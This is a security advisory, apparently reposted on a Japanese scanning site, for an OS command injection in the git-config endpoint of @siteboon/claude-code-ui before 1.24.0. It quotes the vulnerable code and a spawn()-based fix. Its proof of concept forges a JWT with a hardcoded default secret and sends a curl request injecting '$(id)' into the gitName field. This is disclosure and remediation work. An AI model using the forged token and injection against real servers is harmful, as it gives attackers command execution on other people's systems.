| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| cloud cli | < 1.24.0 | 1.24.0 |
| @siteboon/claude-code-ui | < 1.24.0 | 1.24.0 |
| Field | Value |
|---|---|
| Severity | High |
| CVSS 3.1 | 8.8 (High) — when chained with VULN-01 |
| CWE | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
| Attack Vector | Network |
| Authentication | JWT required (bypassable via VULN-01) |
| Affected Files | server/routes/user.js (lines 58-59) |
The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash.
This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.
server/routes/user.js lines 58-59:
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`);
Only " is escaped. However, within double-quoted bash strings, the following are still interpreted:
`malicious_command` — backtick execution$(malicious_command) — subshell executiongit config --global vector modifies the server-wide git configuration, affecting all git operationsこれらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャン# Step 1: Forge a JWT (see VULN-01)
TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")
# Step 2: Inject via gitName using command substitution
curl -X POST "http://REDACTED:5173/api/user/git-config" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"gitName":"$(id)","gitEmail":"[email protected]"}'
The server executes:
git config --global user.name "$(id)"
Bash evaluates $(id) before passing it to git, executing the id command and setting the username to the output.
Replace exec() with spawn() (array arguments, no shell):
// BEFORE (vulnerable):
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
// AFTER (safe):
await spawnAsync('git', ['config', '--global', 'user.name', gitName]);
await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);